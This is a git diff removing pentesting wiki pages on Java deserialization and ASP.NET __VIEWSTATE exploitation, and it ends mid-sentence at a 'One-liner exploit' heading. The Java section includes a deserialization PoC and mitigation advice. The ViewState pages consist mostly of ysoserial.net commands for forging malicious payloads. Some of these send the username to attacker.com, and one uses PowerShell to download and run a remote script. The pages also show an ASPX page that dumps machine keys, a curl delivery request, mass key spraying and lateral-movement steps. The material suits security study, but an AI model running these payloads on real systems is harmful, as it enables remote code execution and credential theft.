-            pet.eat();
-        }
-    }
-    public static void GeneratePayload(Object instance, String file)
-            throws Exception {
-        //Serialize the constructed payload and write it to the file
-        File f = new File(file);
-        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
-        out.writeObject(instance);
-        out.flush();
-        out.close();
-    }
-    public static void payloadTest(String file) throws Exception {
-        //Read the written payload and deserialize it
-        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
-        Object obj = in.readObject();
-        System.out.println(obj);
-        in.close();
-    }
-    public static void main(String[] args) throws Exception {
-        // Example to call Person with a Dog
-        Animal animal = new Dog();
-        Person person = new Person(animal);
-        GeneratePayload(person,"test.ser");
-        payloadTest("test.ser");
-        // Example to call Person with a Cat
-        //Animal animal = new Cat();
-        //Person person = new Person(animal);
-        //GeneratePayload(person,"test.ser");
-        //payloadTest("test.ser");
-    }
-}
-```
-
-### Conclusion (classic scenario)
-
-As you can see in this very basic example, the “vulnerability” here appears because the **readObject()** method is **calling other attacker-controlled code**. In real-world gadget chains, thousands of classes contained in external libraries (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, etc.) can be abused – the attacker only needs *one* reachable gadget to get code execution.
-
----
-
-## 2023-2025: What changed in real-world Java deserialization bugs?
-
-Recent cases are a good reminder that `ObjectInputStream` bugs are no longer just “upload a `.ser` file to a legacy HTTP endpoint”:
-
-* **Broker / queue consumers**: Spring-Kafka (`CVE-2023-34040`) showed that deserializing exception headers from attacker-controlled topics is enough if the consumer enables the unusual `checkDeserExWhen*` flags.
-* **Client-side trust of remote servers**: the Aerospike Java client (`CVE-2023-36480`) deserialized objects received from the server. The vendor response was notable: newer clients removed Java runtime serialization/deserialization support instead of trying to preserve it behind a weak filter.
-* **“Restricted” streams are often still too broad**: `pac4j-core` (`CVE-2023-25581`) tried to protect deserialization with `RestrictedObjectInputStream`, but the accepted class set was still large enough to make gadget abuse possible.
-
-The offensive lesson is that the dangerous trust boundary is often **not** “user uploads a blob”, but “some component the developer considered trusted can inject bytes into a stream that eventually reaches `readObject()`”.
-
-If you need low-noise reachability checks before spending time on full gadget research, use the dedicated Java pages for:
-
-{{#ref}}
-java-dns-deserialization-and-gadgetprobe.md
-{{#endref}}
-
-## `readObject()` anti-patterns that still create gadget entrypoints
-
-Even if your class itself is not an obvious RCE gadget, the following patterns are enough to make it exploitable when attacker-controlled objects are embedded in the graph:
-
-1. Calling overridable methods or interface methods from `readObject()` (`pet.eat()` in the PoC above is the classic example).
-2. Performing lookups, reflection, class loading, expression evaluation, or JNDI operations during deserialization.
-3. Iterating over attacker-controlled collections or maps, which may trigger `hashCode()`, `equals()`, comparators, or transformers as side effects.
-4. Registering `ObjectInputValidation` callbacks that perform dangerous post-processing.
-5. Assuming “private `readObject()`” is enough protection. It only controls dispatch semantics; it does **not** make deserialization safe.
-
-## Modern mitigations you should deploy
-
-1. **JEP 290 / Serialization Filtering (Java 9+)**  
-   Use an allow-list and explicit graph limits:
-   ```bash
-   -Djdk.serialFilter="com.example.dto.*;java.base/*;maxdepth=5;maxrefs=1000;maxbytes=16384;!*"
-   ```
-2. **Apply a filter on every untrusted stream, not just globally**:
-   ```java
-   try (var ois = new ObjectInputStream(input)) {
-       var filter = ObjectInputFilter.Config.createFilter(
-           "com.example.dto.*;java.base/*;maxdepth=5;maxrefs=1000;!*"
-       );
-       ois.setObjectInputFilter(filter);
-       return (Message) ois.readObject();
-   }
-   ```
-3. **JEP 415 (Java 17+) Context-Specific Filter Factories**  
-   Prefer this when the same JVM has multiple deserialization contexts (RMI, cache replication, message consumers, admin-only imports) and each one needs a different allow-list.
-4. **Keep `readObject()` boring**  
-   Only call `defaultReadObject()` / explicit field reads, then perform strict invariant checks. Do not do I/O, logging that dereferences attacker-controlled objects, dynamic lookups, or method calls on deserialized sub-objects.
-5. **If possible, remove Java native serialization from the design**  
-   The Aerospike fix is a good model: when the feature is not essential, deleting `readObject()` / `writeObject()` usage is often safer than trying to maintain perfect filters forever.
-
-## Detection and research workflow
-
-* `ysoserial` remains the baseline for gadget validation and quick RCE/URLDNS probes.
-* `marshalsec` is still useful when the sink pivots into JNDI/LDAP/RMI territory.
-* `GadgetInspector` is useful when you have the target jars and need to look for application-specific gadget chains.
-* Java 17 added the `jdk.Deserialization` Flight Recorder event, which is useful for seeing where `ObjectInputStream` is actually used and whether filters are being applied.
-
-## Quick checklist for secure `readObject()` implementations
-
-1. Make the method `private` and annotate serialization hooks with `@Serial` so compilers can catch mis-declared signatures.
-2. Call `defaultReadObject()` first unless you have a strong reason to manually read the full object graph.
-3. Treat every nested object as attacker-controlled until validated.
-4. Never invoke methods on deserialized collaborators from inside `readObject()`.
-5. Pair the code review with an `ObjectInputFilter` review; “safe-looking `readObject()` code” is not enough if the stream still accepts arbitrary classes.
-
-## References
-
-- [OpenJDK JEP 415: Context-Specific Deserialization Filters](https://openjdk.org/jeps/415)
-- [GitHub Security Lab: GHSL-2022-085 / CVE-2023-25581 (`pac4j-core` deserialization leading to RCE)](https://securitylab.github.com/advisories/GHSL-2022-085_pac4j/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md b/src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md
deleted file mode 100644
index 2da724127c9..00000000000
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md
+++ /dev/null
@@ -1,157 +0,0 @@
-# Exploiting __VIEWSTATE Knowing the Secret
-
-{{#include ../../banners/hacktricks-training.md}}
-
-If you **don't know the keys yet**, start with [the sister page about recovering / guessing them](exploiting-__viewstate-parameter.md). This page is for the case where you already have the **`validationKey`** (and sometimes the **`decryptionKey`**) and want to **forge a valid malicious `__VIEWSTATE`**.
-
-## When is the secret enough?
-
-In practice, “knowing the secret” usually means you obtained the values from a leaked `web.config`, `machine.config`, registry/host access, another node in the same web farm, or from a **publicly disclosed / hardcoded `machineKey`**.
-
-The minimum material you need depends on the framework mode:
-
-- **.NET < 4.5**:
-  - If encryption is **not** enforced, the **`validationKey`** and validation algorithm are enough.
-  - Even if `ViewStateEncryptionMode="Always"` is configured, older versions still accept an **unencrypted** ViewState if `__VIEWSTATEENCRYPTED` is removed from the request.
-- **.NET >= 4.5** / `compatibilityMode="Framework45"`:
-  - You usually need **both** the `validationKey` and the `decryptionKey`, plus their algorithms.
-  - The payload also depends on the target **page path** and **application path**.
-
-## Quick triage checklist
-
-Before generating the payload, collect:
-
-- `__VIEWSTATE`
-- `__VIEWSTATEGENERATOR` if present
-- Target page path (for example `/dir/app/page.aspx`)
-- IIS application path / virtual root (for example `/app/`)
-- Validation algorithm + `validationKey`
-- Decryption algorithm + `decryptionKey` if the target uses modern ViewState protection
-- `ViewStateUserKey` if the application salts ViewState per user / session
-
-If you only know the keys but not the exact gadget to use, check the nearby [.NET gadget page](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
-
-## Forging the payload with ysoserial.net
-
-### Legacy targets (.NET 4.0 and below)
-
-When the target uses the **legacy** signing logic, `ysoserial.net` can use either:
-
-- `--generator=<__VIEWSTATEGENERATOR>` if the page exposes that value, or
-- `--path` + `--apppath` if you know the IIS application root.
-
-Example using the exposed generator value:
-
-```bash
-ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-  -c "cmd /c whoami" \
-  --generator=CA0B0334 \
-  --islegacy \
-  --validationalg="SHA1" \
-  --validationkey="<VALIDATION_KEY>"
-```
-
-If the page is configured with `ViewStateEncryptionMode="Always"` but runs on **.NET < 4.5**, remove `__VIEWSTATEENCRYPTED` from the request and send an **unencrypted but correctly signed** payload.
-
-If you need the request to still **look encrypted** on a legacy target, recent `ysoserial.net` builds also expose `--isencrypted`, which wraps the legacy payload instead of relying only on the `__VIEWSTATEENCRYPTED` removal trick.
-
-### Modern targets (.NET 4.5 and above)
-
-Modern ViewState derivation uses the target **page path** and **application path** when deriving the protection material, so you normally need both:
-
-```bash
-ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-  -c "cmd /c whoami" \
-  --path="/content/default.aspx" \
-  --apppath="/" \
-  --validationalg="HMACSHA256" \
-  --validationkey="<VALIDATION_KEY>" \
-  --decryptionalg="AES" \
-  --decryptionkey="<DECRYPTION_KEY>"
-```
-
-If the payload fails and you suspect the **path** or **app path** is wrong, retry with `--isdebug`. The plugin prints the derived values and helps validate whether your guess matches the target's `__VIEWSTATEGENERATOR` / path logic.
-
-Recent `ysoserial.net` builds also expose `--minify`, which is handy when you need to keep the forged payload short enough for WAF, proxy, or URL-length constraints.
-
-## Common gotchas
-
-### `__VIEWSTATEGENERATOR` is helpful, but mostly for legacy targets
-
-`ysoserial.net`'s ViewState plugin explicitly treats `--generator` as a **legacy** shortcut. For **.NET 4.5+** you should expect to need the real `--path` and `--apppath` values.
-
-### `ViewStateUserKey` will break otherwise valid payloads
-
-If the application binds ViewState to a user, session, or anti-CSRF token, you must include the same value when generating the payload:
-
-```bash
-ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-  -c "cmd /c whoami" \
-  --path="/content/default.aspx" \
-  --apppath="/" \
-  --validationalg="HMACSHA256" \
-  --validationkey="<VALIDATION_KEY>" \
-  --decryptionalg="AES" \
-  --decryptionkey="<DECRYPTION_KEY>" \
-  --viewstateuserkey="<KNOWN_OR_GUESSED_VSUK>"
-```
-
-#### Recovering `ViewStateUserKey` in practice
-
-Once the keys are known, `ViewStateUserKey` is the most common reason for a forged payload to fail. In real applications, it is often derived from:
-
-- `Session.SessionID`
-- `__AntiXsrfToken` / anti-CSRF cookies
-- A value stored in `web.config`, `appSettings`, `Global.asax`, or a shared `BasePage`
-
-If you already have filesystem access or an ASPX execution primitive, grep for it directly:
-
-```bash
-rg -n "ViewStateUserKey|AntiXsrf|__AntiXsrfToken|Session\.SessionID" .
-```
-
-If you only have HTTP access, inspect the response cookies before guessing blindly. Current `badsecrets` / `crapsecrets` logic already tries common candidates such as `ASP.NET_SessionId`, `__AntiXsrfToken`, and small built-in wordlists, so they are also useful for validating whether the missing piece is really the per-user salt.
-
-### GET requests can also work
-
-Although POST is the common delivery path, some applications also parse `__VIEWSTATE` from a **GET** request. This is useful when trying to stay close to the application's normal traffic or when replaying a payload through a URL-based gadget delivery point.
-
-### Start with the highest-value endpoints
-
-Once you know the keys, test the pages that are both **reachable pre-auth** and **guaranteed to post back** before spending time on random forms. Recent real-world examples include:
-
-- SharePoint `/_layouts/15/ToolPane.aspx` (see the [SharePoint page](../../network-services-pentesting/pentesting-web/microsoft-sharepoint.md))
-- Sitecore `/sitecore/blocked.aspx`, which was abused in 2025 when older deployments reused a published sample `machineKey`
-
-In practice, license, error, login, and admin helper pages are often better initial sinks than the main application workflow because they expose a stable hidden `__VIEWSTATE` field without requiring a full authenticated UI path.
-
-### `__EVENTVALIDATION` can be abused with the same secrets
-
-The same signing material can also become useful against `__EVENTVALIDATION`, but exploitation is more constrained than normal ViewState abuse: you need a **POST** request, a page that actually processes input, and a **valid control/input name**.
-
-On **.NET 4.5+**, the secret is reused with a **different cryptographic purpose string**: `__VIEWSTATE` uses `WebForms.HiddenFieldPageStatePersister.ClientState`, while `__EVENTVALIDATION` uses `WebForms.ClientScriptManager.EventValidation`. So if a forged ViewState works but a forged event payload does not, double-check the **page/app path**, the **specific purpose**, and whether the target control is actually allowed to raise that event.
-
-## Why this still matters in 2025-2026
-
-This workflow is still very relevant because attackers increasingly do **not** need an additional bug once the keys are known:
-
-- Microsoft reported in **February 2025** that threat actors were abusing **publicly disclosed ASP.NET machine keys** to generate valid malicious ViewState blobs.
-- Mandiant documented in **September 2025** that Sitecore deployments reusing an old **sample `machineKey`** could be hit pre-auth through `/sitecore/blocked.aspx`, turning a documentation mistake into direct ViewState RCE.
-- SANS observed in **August 2025** that post-exploitation SharePoint activity frequently included **dumping machine keys first**, because one recovered key pair can be replayed laterally against sibling IIS applications.
-- In shared IIS / SharePoint farms, one recovered key pair can often be **replayed laterally** against sibling applications that trust the same configuration.
-
-So, once you recover a single valid key pair, immediately test:
-
-- Other virtual directories on the same host
-- Sibling nodes behind the load balancer
-- Admin-only pages that expose richer gadget surfaces
-- Alternate state parameters such as `__EVENTVALIDATION`
-
-## References
-
-- [Exploiting Deserialisation in ASP.NET via ViewState](https://soroush.me/blog/exploiting-deserialisation-in-asp-net-via-viewstate)
-- [Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
-- [ViewState Deserialization Zero-Day Vulnerability in Sitecore Products](https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability)
-- [Stealing Machine Keys for fun and profit (or riding the SharePoint wave)](https://isc.sans.edu/diary/32174)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
deleted file mode 100644
index e831aeb2116..00000000000
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ /dev/null
@@ -1,300 +0,0 @@
-# Exploiting \_\_VIEWSTATE without knowing the secrets
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
-## What is ViewState
-
-**ViewState** serves as the default mechanism in ASP.NET to maintain page and control data across web pages. During the rendering of a page's HTML, the current state of the page and values to be preserved during a postback are serialized into base64-encoded strings. These strings are then placed in hidden ViewState fields.
-
-ViewState information can be characterized by the following properties or their combinations:
-
-- **Base64**:
-  - This format is utilized when both `EnableViewStateMac` and `ViewStateEncryptionMode` attributes are set to false.
-- **Base64 + MAC (Message Authentication Code) Enabled**:
-  - Activation of MAC is achieved by setting the `EnableViewStateMac` attribute to true. This provides integrity verification for ViewState data.
-- **Base64 + Encrypted**:
-  - Encryption is applied when the `ViewStateEncryptionMode` attribute is set to true, ensuring the confidentiality of ViewState data.
-
-## Test Cases
-
-The image is a table detailing different configurations for ViewState in ASP.NET based on the .NET framework version. Here's a summary of the content:
-
-1. For **any version of .NET**, when both MAC and Encryption are disabled, a MachineKey is not required, and thus there's no applicable method to identify it.
-2. For **versions below 4.5**, if MAC is enabled but Encryption is not, a MachineKey is required. The method to identify the MachineKey is referred to as "Blacklist3r."
-3. For **versions below 4.5**, regardless of whether MAC is enabled or disabled, if Encryption is enabled, a MachineKey is needed. Identifying the MachineKey is a task for "Blacklist3r - Future Development."
-4. For **versions 4.5 and above**, all combinations of MAC and Encryption (whether both are true, or one is true and the other is false) necessitate a MachineKey. The MachineKey can be identified using "Blacklist3r."
-
-### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
-
-It is also possible to disable the ViewStateMAC completely by setting the `AspNetEnforceViewStateMac` registry key to zero in:
-
-```
-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
-```
-
-**Identifying ViewState Attributes**
-
-You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BurpSuite. If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
-
-```
-ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
-```
-
-### Test case 1.5 – Like Test case 1 but the ViewState hidden field isn't sent by the server
-
-Developers can **remove ViewState** from the **server response** (the user won't receive this hidden field).\
-One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\
-However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
-
-### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
-
-In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file:
-
-```bash
-<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
-```
-
-We can also do it for **overall** application by setting it on the **web.config** file as shown below:
-
-```xml
-<?xml version="1.0" encoding="UTF-8"?>
-<configuration>
-<system.web>
-<customErrors mode="Off" />
- <machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
- <pages enableViewStateMac="true" />
-</system.web>
-</configuration>
-```
-
-As the parameter is MAC protected this time to successfully execute the attack we first need the key used.
-
-You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key used.
-
-```
-AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
-
---encrypteddata : __VIEWSTATE parameter value of the target application
---modifier : __VIEWSTATEGENERATOR parameter value
-```
-
-[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is another tool which can identify known `machineKey` values. It is written in Python, so unlike Blacklist3r, there is no Windows dependency. The old standalone `blacklist3r.py` helper was removed, so the **current** workflow is to use the main `badsecrets` CLI in URL mode:
-
-```bash
-pip install badsecrets
-badsecrets --url https://target/page.aspx
-```
-
-This mode carves the response for cryptographic artifacts and tests any discovered `__VIEWSTATE` / `__VIEWSTATEGENERATOR` values against the built-in `machineKey` corpus.
-
-If the page uses **split ViewState**, reassemble all parts before manual testing:
-
-```html
-<input type="hidden" name="__VIEWSTATEFIELDCOUNT" value="3" />
-<input type="hidden" name="__VIEWSTATE" value="<part0>" />
-<input type="hidden" name="__VIEWSTATE1" value="<part1>" />
-<input type="hidden" name="__VIEWSTATE2" value="<part2>" />
-```
-
-Concatenate `__VIEWSTATE`, `__VIEWSTATE1`, `__VIEWSTATE2`, and so on in order. Modern `badsecrets` already handles `__VIEWSTATEFIELDCOUNT` reassembly automatically.
-
-If the application **doesn't render `__VIEWSTATE` at all**, don't stop there: modern `badsecrets` can also test `WebResource.axd` and `ScriptResource.axd` tokens (`ASPNET_Resource`) against known `machineKey` values, which is useful when the page only exposes ASP.NET resource URLs.
-
-To search for vulnerable targets at scale, in conjunction with subdomain enumeration, the `badsecrets` [**BBOT**](https://github.com/blacklanternsecurity/bbot) module can be used:
-
-```bash
-bbot -f subdomain-enum -m badsecrets -t evil.corp
-```
-
-![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
-
-If you are lucky and the key is found, you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
-
-```bash
-ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
-
---generator = {__VIEWSTATEGENERATOR parameter value}
-```
-
-Recent `ysoserial.net` documentation explicitly notes that `--generator` is mainly useful for **.NET <= 4.0** / legacy mode. When `__VIEWSTATEGENERATOR` is **not** exposed, or the target runs **.NET 4.5+**, use the real page and app paths instead:
-
-```bash
---apppath="/" --path="/hello.aspx"
-```
-
-### Exploiting recycled `<machineKey>` values at scale
-
-Ink Dragon (2025) demonstrated how dangerous it is when administrators **copy the sample `<machineKey>` blocks published in Microsoft docs, StackOverflow answers or vendor blogs**. Once a single target leaks or reuses those keys across the farm, every other ASP.NET page that trusts ViewState can be hijacked remotely without any additional vulnerability.
-
-1. **Build a candidate wordlist** with the leaked `validationKey`/`decryptionKey` pairs (e.g. scrape public repos, Microsoft blog posts, or keys recovered from one host in the farm) and feed it to Blacklist3r/Badsecrets:
-
-   ```bash
-   AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
-   # or let Badsecrets spray the list
-   bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld
-   ```
-
-   The tooling repeatedly signs a benign `__VIEWSTATE` blob with each candidate key until the server accepts the MAC, proving the key is valid.
-2. **Forge the malicious ViewState** once the key pair is known. If encryption is disabled you only need the `validationKey`. If encryption is enabled, include the matching `decryptionKey` so the payload survives the decrypt → deserialize path:
-
-   ```bash
-   ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
-      --validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>
-   ```
-
-   Operators often embed disk-resident launchers (e.g. PrintNotifyPotato, ShadowPad loaders, etc.) straight in the payload because it executes as the IIS worker (`w3wp.exe`).
-3. **Pivot laterally** by recycling the same `<machineKey>` across sibling SharePoint/IIS nodes. Once one server is compromised you can replay the key to hit every other server that never rotated its configuration.
-
-### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
-
-In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability.
-
-**In this case the** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module is under development...**
-
-**Prior to .NET 4.5**, ASP.NET can **accept** an **unencrypted** \_`__VIEWSTATE`\_parameter from the users **even** if **`ViewStateEncryptionMode`** has been set to _**Always**_. ASP.NET **only checks** the **presence** of the **`__VIEWSTATEENCRYPTED`** parameter in the request. **If one removes this parameter, and sends the unencrypted payload, it will still be processed.**
-
-Therefore if the attackers find a way to get the Machinekey via another vuln like file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in the **Case 2**, can be used to perform RCE using ViewState deserialization vulnerability.
-
-- Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail.
-
-### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
-
-We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.
-
-```xml
-<httpRuntime targetFramework="4.5" />
-```
-
-Alternatively, this can be done by specifying the below option inside the `machineKey` parameter of the `web.config` file.
-
-```bash
-compatibilityMode="Framework45"
-```
-
-As in the previous case, the **value is encrypted**. To send a **valid payload**, the attacker **needs the key**.
-
-You can try to use [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used:
-
-```
-AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
-
---encrypteddata = {__VIEWSTATE parameter value}
---IISDirPath = {Directory path of website in IIS}
---TargetPagePath = {Target page path in application}
-```
-
-For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
-
-Or, with [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets), let URL mode carve the page and test the captured ViewState / generator automatically:
-
-```bash
-pip install badsecrets
-badsecrets --url https://target/content/default.aspx
-```
-
-![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
-
-Once a valid Machine key is identified, **the next step is to generate a serialized payload using** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
-
-```
-ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
-```
-
-If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--generator` parameter with that value and **omit** the parameters `--path` and `--apppath`
-
-![Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true - Test Case: 4 – .Net = 4.5 and EnableViewStateMac=true/false and...](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
-
-A successful exploitation of the ViewState deserialization vulnerability will lead to an out-of-band request to an attacker-controlled server, which includes the username. This kind of exploit is demonstrated in a proof of concept (PoC) which can be found through a resource titled "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". For further details on how the exploitation process works and how to utilize tools like Blacklist3r for identifying the MachineKey, you can review the provided [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
-
-### Test Case 6 – ViewStateUserKeys is being used
-
-The **ViewStateUserKey** property can be used to **defend** against a **CSRF attack**. If such a key has been defined in the application and we try to generate the **ViewState** payload with the methods discussed till now, the **payload won’t be processed by the application**.\
-You need to use one more parameter in order to create correctly the payload:
-
-```bash
---viewstateuserkey="randomstringdefinedintheserver"
-```
-
-### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
-
-For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server often responds with a `500 Internal Server Error` containing text such as `The state information is invalid for this page and might be corrupted`, while the **out-of-band request still fires**.
-
-For more background on this behavior, review the [NotSoSecure writeup](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/).
-
-### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
-
-Attackers who are able to **upload or execute arbitrary ASPX code** inside the target web root can directly retrieve the secret keys that protect `__VIEWSTATE` instead of bruteforcing them.  
-A minimal payload that leaks the keys leverages internal .NET classes through reflection:
-
-```csharp
-<%@ Import Namespace="System.Web.Configuration" %>
-<%@ Import Namespace="System.Reflection" %>
-<script runat="server">
-public void Page_Load(object sender, EventArgs e)
-{
-    var asm = Assembly.Load("System.Web");
-    var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
-    var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
-    var cfg = (MachineKeySection)m.Invoke(null, null);
-    // Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
-    Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
-}
-</script>
-```
-
-Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget. For **modern** targets prefer the real path-based derivation:
-
-```bash
-ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-  -c "powershell -nop -c \"whoami\"" \
-  --path="/_layouts/15/ToolPane.aspx" --apppath="/" \
-  --validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
-  --decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
-  --minify
-curl -d "__VIEWSTATE=<PAYLOAD>" https://victim/_layouts/15/ToolPane.aspx
-```
-
-Use `--generator` and `--islegacy` only when you know the page is using the **legacy** signing logic (**.NET <= 4.0**). If you need the exact flag combinations after obtaining the keys, check the [sister page about exploiting ViewState when the secret is known](exploiting-__viewstate-knowing-the-secret.md).
-
-This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771); see the related [SharePoint page](../../network-services-pentesting/pentesting-web/microsoft-sharepoint.md). The same technique is applicable to any ASP.NET application where an attacker can run server-side code.
-
-## 2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys
-
-### Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)
-Microsoft described mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with recent `ysoserial.net` options such as `--minify` and `--islegacy`: 
-
-```bash
-ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
-  --validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
-  --decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
-  --generator=<VIEWSTATEGEN> --minify
-```
-
-Targets that keep reusing the same static keys across farms stay vulnerable indefinitely, so prioritize legacy deployments that still expose hard-coded material.
-
-### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys
-Kudelski Security and later defenders observed a very practical pattern: products shipping with **static / hard-coded `machineKey` values** turn ViewState deserialization into an **internet-scale** issue. In the CentreStack / Triofox case, unauthenticated attackers could forge `__VIEWSTATE` for the login page because every installation trusted the same keys.
-
-One-liner exploit:
